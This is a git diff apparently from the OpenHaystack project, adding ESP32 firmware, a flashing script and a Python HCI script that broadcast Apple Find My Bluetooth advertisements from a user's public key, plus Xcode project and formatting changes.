Normal file
44
Firmware/ESP32/README.md
Normal file
@@ -0,0 +1,44 @@
|
||||
# OpenHaystack Firmware for ESP32
|
||||
|
||||
This project contains a PoC firmware for Espressif ESP32 chips (like ESP32-WROOM or ESP32-WROVER, but _not_ ESP32-S2).
|
||||
After flashing our firmware, the device sends out Bluetooth Low Energy advertisements such that it can be found by [Apple's Find My network](https://developer.apple.com/find-my/).
|
||||
|
||||
## Disclaimer
|
||||
|
||||
Note that the firmware is just a proof-of-concept and currently only implements advertising a single static key. This means that **devices running this firmware are trackable** by other devices in proximity.
|
||||
|
||||
## Requirements
|
||||
|
||||
To change and rebuild the firmware, you need Espressif's IoT Development Framework (ESP-IDF).
|
||||
Installation instructions for the latest version of the ESP-IDF can be found in [its documentation](https://docs.espressif.com/projects/esp-idf/en/latest/esp32/get-started/).
|
||||
The firmware is tested on version 4.2.
|
||||
|
||||
For deploying the firmware, you need Python 3 on your path, either as `python3` (preferred) or as `python`, and the `venv` module needs to be available.
|
||||
|
||||
## Build
|
||||
|
||||
With the ESP-IDF on your `$PATH`, you can use `idf.py` to build the application from within this directory:
|
||||
|
||||
```bash
|
||||
idf.py build
|
||||
```
|
||||
|
||||
This will create the following files:
|
||||
|
||||
- `build/bootloader/bootloader.bin` -- The second stage bootloader
|
||||
- `build/partition_table/partition-table.bin` -- The partition table
|
||||
- `build/openhaystack.bin` -- The application itself
|
||||
|
||||
These files are required for the next step: Deploy the firmware.
|
||||
|
||||
## Deploy the Firmware
|
||||
|
||||
Use the `flash_esp32.sh` script to deploy the firmware and a public key to an ESP32 device connected to your local machine:
|
||||
|
||||
```bash
|
||||
./flash_esp32.sh -p /dev/yourSerialPort "public-key-in-base64"
|
||||
```
|
||||
|
||||
> **Note:** You might need to reset your device after running the script before it starts sending advertisements.
|
||||
|
||||
For more options, see `./flash-esp32.h --help`.
|
||||
139
Firmware/ESP32/flash_esp32.sh
Executable file
139
Firmware/ESP32/flash_esp32.sh
Executable file
@@ -0,0 +1,139 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Directory of this script
|
||||
SCRIPT_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )"
|
||||
|
||||
# Defaults: Directory for the virtual environment
|
||||
VENV_DIR="$SCRIPT_DIR/venv"
|
||||
|
||||
# Defaults: Serial port to access the ESP32
|
||||
PORT=/dev/ttyS0
|
||||
|
||||
# Defaults: Fast baud rate
|
||||
BAUDRATE=921600
|
||||
|
||||
# Parameter parsing
|
||||
while [[ $# -gt 0 ]]; do
|
||||
KEY="$1"
|
||||
case "$KEY" in
|
||||
-p|--port)
|
||||
PORT="$2"
|
||||
shift
|
||||
shift
|
||||
;;
|
||||
-s|--slow)
|
||||
BAUDRATE=115200
|
||||
shift
|
||||
;;
|
||||
-v|--venvdir)
|
||||
VENV_DIR="$2"
|
||||
shift
|
||||
shift
|
||||
;;
|
||||
-h|--help)
|
||||
echo "flash_esp32.sh - Flash the OpenHaystack firmware onto an ESP32 module"
|
||||
echo ""
|
||||
echo " This script will create a virtual environment for the required tools."
|
||||
echo ""
|
||||
echo "Call: flash_esp32.sh [-p <port>] [-v <dir>] [-s] PUBKEY"
|
||||
echo ""
|
||||
echo "Required Arguments:"
|
||||
echo " PUBKEY"
|
||||
echo " The base64-encoded public key"
|
||||
echo ""
|
||||
echo "Optional Arguments:"
|
||||
echo " -h, --help"
|
||||
echo " Show this message and exit."
|
||||
echo " -p, --port <port>"
|
||||
echo " Specify the serial interface to which the device is connected."
|
||||
echo " -s, --slow"
|
||||
echo " Use 115200 instead of 921600 baud when flashing."
|
||||
echo " Might be required for long/bad USB cables or slow USB-to-Serial converters."
|
||||
echo " -v, --venvdir <dir>"
|
||||
echo " Select Python virtual environment with esptool installed."
|
||||
echo " If the directory does not exist, it will be created."
|
||||
exit 1
|
||||
;;
|
||||
*)
|
||||
if [[ -z "$PUBKEY" ]]; then
|
||||
PUBKEY="$1"
|
||||
shift
|
||||
else
|
||||
echo "Got unexpected parameter $1"
|
||||
exit 1
|
||||
fi
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
# Sanity check: Pubkey exists
|
||||
if [[ -z "$PUBKEY" ]]; then
|
||||
echo "Missing public key, call with --help for usage"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Sanity check: Port
|
||||
if [[ ! -e "$PORT" ]]; then
|
||||
echo "$PORT does not exist, please specify a valid serial interface with the -p argument"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Setup the virtual environment
|
||||
if [[ ! -d "$VENV_DIR" ]]; then
|
||||
# Create the virtual environment
|
||||
PYTHON="$(which python3)"
|
||||
if [[ -z "$PYTHON" ]]; then
|
||||
PYTHON="$(which python)"
|
||||
fi
|
||||
if [[ -z "$PYTHON" ]]; then
|
||||
echo "Could not find a Python installation, please install Python 3."
|
||||
exit 1
|
||||
fi
|
||||
if ! ($PYTHON -V 2>&1 | grep "Python 3" > /dev/null); then
|
||||
echo "Executing \"$PYTHON\" does not run Python 3, please make sure that python3 or python on your PATH points to Python 3"
|
||||
exit 1
|
||||
fi
|
||||
if ! ($PYTHON -c "import venv" &> /dev/null); then
|
||||
echo "Python 3 module \"venv\" was not found."
|
||||
exit 1
|
||||
fi
|
||||
$PYTHON -m venv "$VENV_DIR"
|
||||
if [[ $? != 0 ]]; then
|
||||
echo "Creating the virtual environment in $VENV_DIR failed."
|
||||
exit 1
|
||||
fi
|
||||
source "$VENV_DIR/bin/activate"
|
||||
pip install --upgrade pip
|
||||
pip install esptool
|
||||
if [[ $? != 0 ]]; then
|
||||
echo "Could not install Python 3 module esptool in $VENV_DIR";
|
||||
exit 1
|
||||
fi
|
||||
else
|
||||
source "$VENV_DIR/bin/activate"
|
||||
fi
|
||||
|
||||
# Prepare the key
|
||||
KEYFILE="$SCRIPT_DIR/tmp.key"
|
||||
if [[ -f "$KEYFILE" ]]; then
|
||||
echo "$KEYFILE already exists, stopping here not to override files..."
|
||||
exit 1
|
||||
fi
|
||||
echo "$PUBKEY" | python3 -m base64 -d - > "$KEYFILE"
|
||||
if [[ $? != 0 ]]; then
|
||||
echo "Could not parse the public key. Please provide valid base64 input"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Call esptool.py. Errors from here on are critical
|
||||
set -e
|
||||
|
||||
# Clear NVM
|
||||
esptool.py --after no_reset \
|
||||
erase_region 0x9000 0x5000
|
||||
esptool.py --before no_reset --baud $BAUDRATE \
|
||||
write_flash 0x1000 "$SCRIPT_DIR/build/bootloader/bootloader.bin" \
|
||||
0x8000 "$SCRIPT_DIR/build/partition_table/partition-table.bin" \
|
||||
0xe000 "$KEYFILE" \
|
||||
0x10000 "$SCRIPT_DIR/build/openhaystack.bin"
|
||||
rm "$KEYFILE"
|
||||
3
Firmware/ESP32/main/CMakeLists.txt
Normal file
3
Firmware/ESP32/main/CMakeLists.txt
Normal file
@@ -0,0 +1,3 @@
|
||||
idf_component_register(SRCS "openhaystack_main.c"
|
||||
|
||||
INCLUDE_DIRS ".")
|
||||
0
Firmware/ESP32/main/Kconfig.projbuild
Normal file
0
Firmware/ESP32/main/Kconfig.projbuild
Normal file
4
Firmware/ESP32/main/component.mk
Normal file
4
Firmware/ESP32/main/component.mk
Normal file
@@ -0,0 +1,4 @@
|
||||
#
|
||||
# "main" pseudo-component makefile.
|
||||
#
|
||||
# (Uses default behaviour of compiling all source files in directory, adding 'include' to include path.)
|
||||
162
Firmware/ESP32/main/openhaystack_main.c
Normal file
162
Firmware/ESP32/main/openhaystack_main.c
Normal file
@@ -0,0 +1,162 @@
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "nvs_flash.h"
|
||||
#include "esp_partition.h"
|
||||
|
||||
#include "esp_bt.h"
|
||||
#include "esp_gap_ble_api.h"
|
||||
#include "esp_gattc_api.h"
|
||||
#include "esp_gatt_defs.h"
|
||||
#include "esp_bt_main.h"
|
||||
#include "esp_bt_defs.h"
|
||||
#include "esp_log.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
|
||||
static const char* LOG_TAG = "open_haystack";
|
||||
|
||||
/** Callback function for BT events */
|
||||
static void esp_gap_cb(esp_gap_ble_cb_event_t event, esp_ble_gap_cb_param_t *param);
|
||||
|
||||
/** Random device address */
|
||||
static esp_bd_addr_t rnd_addr = { 0xFF, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF };
|
||||
|
||||
/** Advertisement payload */
|
||||
static uint8_t adv_data[31] = {
|
||||
0x1e, /* Length (30) */
|
||||
0xff, /* Manufacturer Specific Data (type 0xff) */
|
||||
0x4c, 0x00, /* Company ID (Apple) */
|
||||
0x12, 0x19, /* Offline Finding type and length */
|
||||
0x00, /* State */
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, /* First two bits */
|
||||
0x00, /* Hint (0x00) */
|
||||
};
|
||||
|
||||
/* https://docs.espressif.com/projects/esp-idf/en/latest/esp32/api-reference/bluetooth/esp_gap_ble.html#_CPPv420esp_ble_adv_params_t */
|
||||
static esp_ble_adv_params_t ble_adv_params = {
|
||||
// Advertising min interval:
|
||||
// Minimum advertising interval for undirected and low duty cycle
|
||||
// directed advertising. Range: 0x0020 to 0x4000 Default: N = 0x0800
|
||||
// (1.28 second) Time = N * 0.625 msec Time Range: 20 ms to 10.24 sec
|
||||
.adv_int_min = 0x00A0, // 100ms
|
||||
// Advertising max interval:
|
||||
// Maximum advertising interval for undirected and low duty cycle
|
||||
// directed advertising. Range: 0x0020 to 0x4000 Default: N = 0x0800
|
||||
// (1.28 second) Time = N * 0.625 msec Time Range: 20 ms to 10.24 sec
|
||||
.adv_int_max = 0x0140, // 200ms
|
||||
// Advertisement type
|
||||
.adv_type = ADV_TYPE_NONCONN_IND,
|
||||
// Use the random address
|
||||
.own_addr_type = BLE_ADDR_TYPE_RANDOM,
|
||||
// All channels
|
||||
.channel_map = ADV_CHNL_ALL,
|
||||
// Allow both scan and connection requests from anyone.
|
||||
.adv_filter_policy = ADV_FILTER_ALLOW_SCAN_ANY_CON_ANY,
|
||||
};
|
||||
|
||||
static void esp_gap_cb(esp_gap_ble_cb_event_t event, esp_ble_gap_cb_param_t *param)
|
||||
{
|
||||
esp_err_t err;
|
||||
|
||||
switch (event) {
|
||||
case ESP_GAP_BLE_ADV_DATA_RAW_SET_COMPLETE_EVT:
|
||||
esp_ble_gap_start_advertising(&ble_adv_params);
|
||||
break;
|
||||
|
||||
case ESP_GAP_BLE_ADV_START_COMPLETE_EVT:
|
||||
//adv start complete event to indicate adv start successfully or failed
|
||||
if ((err = param->adv_start_cmpl.status) != ESP_BT_STATUS_SUCCESS) {
|
||||
ESP_LOGE(LOG_TAG, "advertising start failed: %s", esp_err_to_name(err));
|
||||
} else {
|
||||
ESP_LOGI(LOG_TAG, "advertising has started.");
|
||||
}
|
||||
break;
|
||||
|
||||
case ESP_GAP_BLE_ADV_STOP_COMPLETE_EVT:
|
||||
if ((err = param->adv_stop_cmpl.status) != ESP_BT_STATUS_SUCCESS){
|
||||
ESP_LOGE(LOG_TAG, "adv stop failed: %s", esp_err_to_name(err));
|
||||
}
|
||||
else {
|
||||
ESP_LOGI(LOG_TAG, "stop adv successfully");
|
||||
}
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
int load_key(uint8_t *dst, size_t size) {
|
||||
const esp_partition_t *keypart = esp_partition_find_first(0x40, 0x00, "key");
|
||||
if (keypart == NULL) {
|
||||
ESP_LOGE(LOG_TAG, "Could not find key partition");
|
||||
return 1;
|
||||
}
|
||||
esp_err_t status;
|
||||
status = esp_partition_read(keypart, 0, dst, size);
|
||||
if (status != ESP_OK) {
|
||||
ESP_LOGE(LOG_TAG, "Could not read key from partition: %s", esp_err_to_name(status));
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
void set_addr_from_key(esp_bd_addr_t addr, uint8_t *public_key) {
|
||||
addr[0] = public_key[0] | 0b11000000;
|
||||
addr[1] = public_key[1];
|
||||
addr[2] = public_key[2];
|
||||
addr[3] = public_key[3];
|
||||
addr[4] = public_key[4];
|
||||
addr[5] = public_key[5];
|
||||
}
|
||||
|
||||
void set_payload_from_key(uint8_t *payload, uint8_t *public_key) {
|
||||
/* copy last 22 bytes */
|
||||
memcpy(&payload[7], &public_key[6], 22);
|
||||
/* append two bits of public key */
|
||||
payload[29] = public_key[0] >> 6;
|
||||
}
|
||||
|
||||
void app_main(void)
|
||||
{
|
||||
ESP_ERROR_CHECK(nvs_flash_init());
|
||||
ESP_ERROR_CHECK(esp_bt_controller_mem_release(ESP_BT_MODE_CLASSIC_BT));
|
||||
esp_bt_controller_config_t bt_cfg = BT_CONTROLLER_INIT_CONFIG_DEFAULT();
|
||||
esp_bt_controller_init(&bt_cfg);
|
||||
esp_bt_controller_enable(ESP_BT_MODE_BLE);
|
||||
|
||||
esp_bluedroid_init();
|
||||
esp_bluedroid_enable();
|
||||
|
||||
// Load the public key from the key partition
|
||||
static uint8_t public_key[28];
|
||||
if (load_key(public_key, sizeof(public_key)) != ESP_OK) {
|
||||
ESP_LOGE(LOG_TAG, "Could not read the key, stopping.");
|
||||
return;
|
||||
}
|
||||
|
||||
set_addr_from_key(rnd_addr, public_key);
|
||||
set_payload_from_key(adv_data, public_key);
|
||||
|
||||
ESP_LOGI(LOG_TAG, "using device address: %02x %02x %02x %02x %02x %02x", rnd_addr[0], rnd_addr[1], rnd_addr[2], rnd_addr[3], rnd_addr[4], rnd_addr[5]);
|
||||
|
||||
esp_err_t status;
|
||||
//register the scan callback function to the gap module
|
||||
if ((status = esp_ble_gap_register_callback(esp_gap_cb)) != ESP_OK) {
|
||||
ESP_LOGE(LOG_TAG, "gap register error: %s", esp_err_to_name(status));
|
||||
return;
|
||||
}
|
||||
|
||||
if ((status = esp_ble_gap_set_rand_addr(rnd_addr)) != ESP_OK) {
|
||||
ESP_LOGE(LOG_TAG, "couldn't set random address: %s", esp_err_to_name(status));
|
||||
return;
|
||||
}
|
||||
if ((esp_ble_gap_config_adv_data_raw((uint8_t*)&adv_data, sizeof(adv_data))) != ESP_OK) {
|
||||
ESP_LOGE(LOG_TAG, "couldn't configure BLE adv: %s", esp_err_to_name(status));
|
||||
return;
|
||||
}
|
||||
ESP_LOGI(LOG_TAG, "application initialized");
|
||||
}
|
||||
5
Firmware/ESP32/partitions.csv
Normal file
5
Firmware/ESP32/partitions.csv
Normal file
@@ -0,0 +1,5 @@
|
||||
# Name, Type, SubType, Offset, Size, Flags
|
||||
nvs, data, nvs, 0x9000, 0x5000,
|
||||
key, 0x40, 0x00, 0xe000, 0x1000,
|
||||
phy_init, data, phy, 0xf000, 0x1000,
|
||||
factory, app, factory, 0x10000, 1M,
|
||||
|
1606
Firmware/ESP32/sdkconfig
Normal file
1606
Firmware/ESP32/sdkconfig
Normal file
File diff suppressed because it is too large
Load Diff
84
HCI.py
Executable file
84
HCI.py
Executable file
@@ -0,0 +1,84 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import base64
|
||||
import subprocess
|
||||
import time
|
||||
import struct
|
||||
import argparse
|
||||
import sys
|
||||
|
||||
|
||||
def advertisement_template():
|
||||
adv = ""
|
||||
adv += "1e" # length (30)
|
||||
adv += "ff" # manufacturer specific data
|
||||
adv += "4c00" # company ID (Apple)
|
||||
adv += "1219" # offline finding type and length
|
||||
adv += "00" # state
|
||||
for _ in range(22): # key[6:28]
|
||||
adv += "00"
|
||||
adv += "00" # first two bits of key[0]
|
||||
adv += "00" # hint
|
||||
return bytearray.fromhex(adv)
|
||||
|
||||
|
||||
def bytes_to_strarray(bytes_, with_prefix=False):
|
||||
if with_prefix:
|
||||
return [hex(b) for b in bytes_]
|
||||
else:
|
||||
return [format(b, "x") for b in bytes_]
|
||||
|
||||
|
||||
def run_hci_cmd(cmd, hci="hci0", wait=1):
|
||||
cmd_ = ["hcitool", "-i", hci, "cmd"]
|
||||
cmd_ += cmd
|
||||
print(cmd_)
|
||||
subprocess.run(cmd_)
|
||||
if wait > 0:
|
||||
time.sleep(wait)
|
||||
|
||||
|
||||
def start_advertising(key, interval_ms=2000):
|
||||
addr = bytearray(key[:6])
|
||||
addr[0] |= 0b11000000
|
||||
|
||||
adv = advertisement_template()
|
||||
adv[7:29] = key[6:28]
|
||||
adv[29] = key[0] >> 6
|
||||
|
||||
print(f"key ({len(key):2}) {key.hex()}")
|
||||
print(f"address ({len(addr):2}) {addr.hex()}")
|
||||
print(f"payload ({len(adv):2}) {adv.hex()}")
|
||||
|
||||
# Set BLE address
|
||||
run_hci_cmd(["0x3f", "0x001"] + bytes_to_strarray(addr, with_prefix=True)[::-1])
|
||||
subprocess.run(["systemctl", "restart", "bluetooth"])
|
||||
time.sleep(1)
|
||||
|
||||
# Set BLE advertisement payload
|
||||
run_hci_cmd(["0x08", "0x0008"] + [format(len(adv), "x")] + bytes_to_strarray(adv))
|
||||
|
||||
# Set BLE advertising mode
|
||||
interval_enc = struct.pack("<h", interval_ms)
|
||||
hci_set_adv_params = ["0x08", "0x0006"]
|
||||
hci_set_adv_params += bytes_to_strarray(interval_enc)
|
||||
hci_set_adv_params += bytes_to_strarray(interval_enc)
|
||||
hci_set_adv_params += ["03", "00", "00", "00", "00", "00", "00", "00", "00"]
|
||||
hci_set_adv_params += ["07", "00"]
|
||||
run_hci_cmd(hci_set_adv_params)
|
||||
|
||||
# Start BLE advertising
|
||||
run_hci_cmd(["0x08", "0x000a"] + ["01"], wait=0)
|
||||
|
||||
|
||||
def main(args):
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("--key", "-k", help="Advertisement key (base64)")
|
||||
args = parser.parse_args(args)
|
||||
|
||||
key = base64.b64decode(args.key.encode())
|
||||
start_advertising(key)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main(sys.argv[1:])
|
||||
10
Makefile
Normal file
10
Makefile
Normal file
@@ -0,0 +1,10 @@
|
||||
APPDIR := OpenHaystack
|
||||
|
||||
default:
|
||||
|
||||
install-hooks: .pre-commit
|
||||
cp .pre-commit .git/hooks/pre-commit
|
||||
|
||||
app-autoformat:
|
||||
swift-format format -i -r $(APPDIR)
|
||||
clang-format -i $(shell find $(APPDIR) -name '*.h' -o -name '*.m')
|
||||
3
OpenHaystack/.clang-format
Normal file
3
OpenHaystack/.clang-format
Normal file
@@ -0,0 +1,3 @@
|
||||
BasedOnStyle: llvm
|
||||
ColumnLimit: 180
|
||||
IndentWidth: 4
|
||||
7
OpenHaystack/.swift-format
Normal file
7
OpenHaystack/.swift-format
Normal file
@@ -0,0 +1,7 @@
|
||||
{
|
||||
"version": 1,
|
||||
"lineLength": 180,
|
||||
"indentation": {
|
||||
"spaces": 4
|
||||
}
|
||||
}
|
||||
@@ -1,11 +1,13 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
#import "ReportsFetcher.h"
|
||||
#import "BoringSSL.h"
|
||||
#import "ALTAnisetteData.h"
|
||||
#import "AppleAccountData.h"
|
||||
#import "BoringSSL.h"
|
||||
#import "ReportsFetcher.h"
|
||||
|
||||
@@ -3,61 +3,32 @@
|
||||
archiveVersion = 1;
|
||||
classes = {
|
||||
};
|
||||
objectVersion = 54;
|
||||
objectVersion = 52;
|
||||
objects = {
|
||||
|
||||
/* Begin PBXAggregateTarget section */
|
||||
78F7253325ED02300039C718 /* Run OFFetchReports */ = {
|
||||
isa = PBXAggregateTarget;
|
||||
buildConfigurationList = 78F7253625ED02300039C718 /* Build configuration list for PBXAggregateTarget "Run OFFetchReports" */;
|
||||
buildPhases = (
|
||||
78F7253D25ED02390039C718 /* Codesign Offline Finder with Entitlements */,
|
||||
);
|
||||
dependencies = (
|
||||
78F7253C25ED02350039C718 /* PBXTargetDependency */,
|
||||
);
|
||||
name = "Run OFFetchReports";
|
||||
productName = "Create OfflineFinder";
|
||||
};
|
||||
/* End PBXAggregateTarget section */
|
||||
|
||||
/* Begin PBXBuildFile section */
|
||||
0211DBC12491203100ABB066 /* Crypto in Frameworks */ = {isa = PBXBuildFile; productRef = 0211DBC02491203100ABB066 /* Crypto */; };
|
||||
0211DBC5249135D600ABB066 /* MapViewController.xib in Resources */ = {isa = PBXBuildFile; fileRef = 0211DBC3249135D600ABB066 /* MapViewController.xib */; };
|
||||
0211DBC724913A8D00ABB066 /* MapView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 0211DBC624913A8D00ABB066 /* MapView.swift */; };
|
||||
022253BA24E293B8006DF2B3 /* AuthKit.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 0298C0C8248F9506003928FE /* AuthKit.framework */; };
|
||||
022253BB24E293B8006DF2B3 /* AuthKit.framework in Embed Frameworks */ = {isa = PBXBuildFile; fileRef = 0298C0C8248F9506003928FE /* AuthKit.framework */; settings = {ATTRIBUTES = (CodeSignOnCopy, RemoveHeadersOnCopy, ); }; };
|
||||
024D98492490CE320063EBB6 /* BoringSSL.m in Sources */ = {isa = PBXBuildFile; fileRef = 024D98482490CE320063EBB6 /* BoringSSL.m */; };
|
||||
025DFEDC248FED250039C718 /* DecryptReports.swift in Sources */ = {isa = PBXBuildFile; fileRef = 025DFEDB248FED250039C718 /* DecryptReports.swift */; };
|
||||
116B4EED24A913AA007BA636 /* SavePanel.swift in Sources */ = {isa = PBXBuildFile; fileRef = 116B4EEC24A913AA007BA636 /* SavePanel.swift */; };
|
||||
78014A2925DC08580089F6D9 /* MicrobitController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78014A2725DC01220089F6D9 /* MicrobitController.swift */; };
|
||||
78014A2B25DC22120089F6D9 /* sample.bin in Resources */ = {isa = PBXBuildFile; fileRef = 78014A2A25DC22110089F6D9 /* sample.bin */; };
|
||||
78014A2F25DC2F100089F6D9 /* pattern_sample.bin in Resources */ = {isa = PBXBuildFile; fileRef = 78014A2E25DC2F100089F6D9 /* pattern_sample.bin */; };
|
||||
78108B70248E8FB50007E9C4 /* AppDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78108B6F248E8FB50007E9C4 /* AppDelegate.swift */; };
|
||||
78108B72248E8FB50007E9C4 /* OFFetchReportsMainView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78108B71248E8FB50007E9C4 /* OFFetchReportsMainView.swift */; };
|
||||
78108B74248E8FB80007E9C4 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 78108B73248E8FB80007E9C4 /* Assets.xcassets */; };
|
||||
78108B77248E8FB80007E9C4 /* Preview Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 78108B76248E8FB80007E9C4 /* Preview Assets.xcassets */; };
|
||||
78108B7A248E8FB80007E9C4 /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 78108B78248E8FB80007E9C4 /* Main.storyboard */; };
|
||||
78108B85248E8FDD0007E9C4 /* ReportsFetcher.m in Sources */ = {isa = PBXBuildFile; fileRef = 78108B84248E8FDD0007E9C4 /* ReportsFetcher.m */; };
|
||||
78108B8F248F70D40007E9C4 /* Models.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78108B8E248F70D40007E9C4 /* Models.swift */; };
|
||||
78108B91248F72AF0007E9C4 /* FindMyController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78108B90248F72AF0007E9C4 /* FindMyController.swift */; };
|
||||
78023CAB25F7767000B083EF /* ESP32Controller.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78023CAA25F7767000B083EF /* ESP32Controller.swift */; };
|
||||
78023CAF25F7797400B083EF /* ESP32 in Resources */ = {isa = PBXBuildFile; fileRef = 78023CAE25F7797400B083EF /* ESP32 */; };
|
||||
78023CB125F7841F00B083EF /* MicrocontrollerTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78023CB025F7841F00B083EF /* MicrocontrollerTests.swift */; };
|
||||
781EB3EA25DAD7EA00FEAA19 /* ReportsFetcher.m in Sources */ = {isa = PBXBuildFile; fileRef = 78108B84248E8FDD0007E9C4 /* ReportsFetcher.m */; };
|
||||
781EB3EB25DAD7EA00FEAA19 /* SavePanel.swift in Sources */ = {isa = PBXBuildFile; fileRef = 116B4EEC24A913AA007BA636 /* SavePanel.swift */; };
|
||||
781EB3EC25DAD7EA00FEAA19 /* DecryptReports.swift in Sources */ = {isa = PBXBuildFile; fileRef = 025DFEDB248FED250039C718 /* DecryptReports.swift */; };
|
||||
781EB3EE25DAD7EA00FEAA19 /* OFFetchReportsMainView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78108B71248E8FB50007E9C4 /* OFFetchReportsMainView.swift */; };
|
||||
781EB3EF25DAD7EA00FEAA19 /* MapViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 0211DBC2249135D600ABB066 /* MapViewController.swift */; };
|
||||
781EB3F025DAD7EA00FEAA19 /* MapView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 0211DBC624913A8D00ABB066 /* MapView.swift */; };
|
||||
781EB3F125DAD7EA00FEAA19 /* FindMyKeyDecoder.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7867874724A651C600199B09 /* FindMyKeyDecoder.swift */; };
|
||||
781EB3F225DAD7EA00FEAA19 /* AppDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78108B6F248E8FB50007E9C4 /* AppDelegate.swift */; };
|
||||
781EB3F225DAD7EA00FEAA19 /* OpenHaystackApp.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78108B6F248E8FB50007E9C4 /* OpenHaystackApp.swift */; };
|
||||
781EB3F325DAD7EA00FEAA19 /* Models.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78108B8E248F70D40007E9C4 /* Models.swift */; };
|
||||
781EB3F425DAD7EA00FEAA19 /* FindMyController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78108B90248F72AF0007E9C4 /* FindMyController.swift */; };
|
||||
781EB3F525DAD7EA00FEAA19 /* BoringSSL.m in Sources */ = {isa = PBXBuildFile; fileRef = 024D98482490CE320063EBB6 /* BoringSSL.m */; };
|
||||
781EB3F725DAD7EA00FEAA19 /* Crypto in Frameworks */ = {isa = PBXBuildFile; productRef = 781EB3E725DAD7EA00FEAA19 /* Crypto */; };
|
||||
781EB3FD25DAD7EA00FEAA19 /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 78108B78248E8FB80007E9C4 /* Main.storyboard */; };
|
||||
781EB3FE25DAD7EA00FEAA19 /* MapViewController.xib in Resources */ = {isa = PBXBuildFile; fileRef = 0211DBC3249135D600ABB066 /* MapViewController.xib */; };
|
||||
781EB40025DAD7EA00FEAA19 /* Preview Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 78108B76248E8FB80007E9C4 /* Preview Assets.xcassets */; };
|
||||
781EB40225DAD7EA00FEAA19 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 78108B73248E8FB80007E9C4 /* Assets.xcassets */; };
|
||||
781EB43125DADF2B00FEAA19 /* AnisetteDataManager.swift in Sources */ = {isa = PBXBuildFile; fileRef = 781EB40F25DADB0600FEAA19 /* AnisetteDataManager.swift */; };
|
||||
7821DAD125F7B2C10054DC33 /* FileManager.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7821DAD025F7B2C10054DC33 /* FileManager.swift */; };
|
||||
7821DAD325F7C39A0054DC33 /* ESP32InstallSheet.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7821DAD225F7C39A0054DC33 /* ESP32InstallSheet.swift */; };
|
||||
78286CB225E3ACE700F65511 /* OpenHaystackPluginService.m in Sources */ = {isa = PBXBuildFile; fileRef = 78286CAF25E3ACE700F65511 /* OpenHaystackPluginService.m */; };
|
||||
78286D1F25E3D8B800F65511 /* ALTAnisetteData.m in Sources */ = {isa = PBXBuildFile; fileRef = 78286CB025E3ACE700F65511 /* ALTAnisetteData.m */; };
|
||||
78286D2A25E3EC3200F65511 /* AppleAccountData.m in Sources */ = {isa = PBXBuildFile; fileRef = 78286D2925E3EC3200F65511 /* AppleAccountData.m */; };
|
||||
@@ -71,24 +42,16 @@
|
||||
78486BF425DD7AD90007ED87 /* sampleKeys.plist in Resources */ = {isa = PBXBuildFile; fileRef = 78486BF325DD7AD90007ED87 /* sampleKeys.plist */; };
|
||||
78486C0A25DDCC610007ED87 /* offline-finding.bin in Resources */ = {isa = PBXBuildFile; fileRef = 78486C0925DDCC610007ED87 /* offline-finding.bin */; };
|
||||
7851F1DD25EE90FA0049480D /* AccessoryMapView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7851F1DC25EE90FA0049480D /* AccessoryMapView.swift */; };
|
||||
7867874824A651C600199B09 /* FindMyKeyDecoder.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7867874724A651C600199B09 /* FindMyKeyDecoder.swift */; };
|
||||
787D8AC125DECD3C00148766 /* AccessoryController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 787D8AC025DECD3C00148766 /* AccessoryController.swift */; };
|
||||
7899D1D625DE74EE00115740 /* firmware.bin in Resources */ = {isa = PBXBuildFile; fileRef = 7899D1D525DE74EE00115740 /* firmware.bin */; };
|
||||
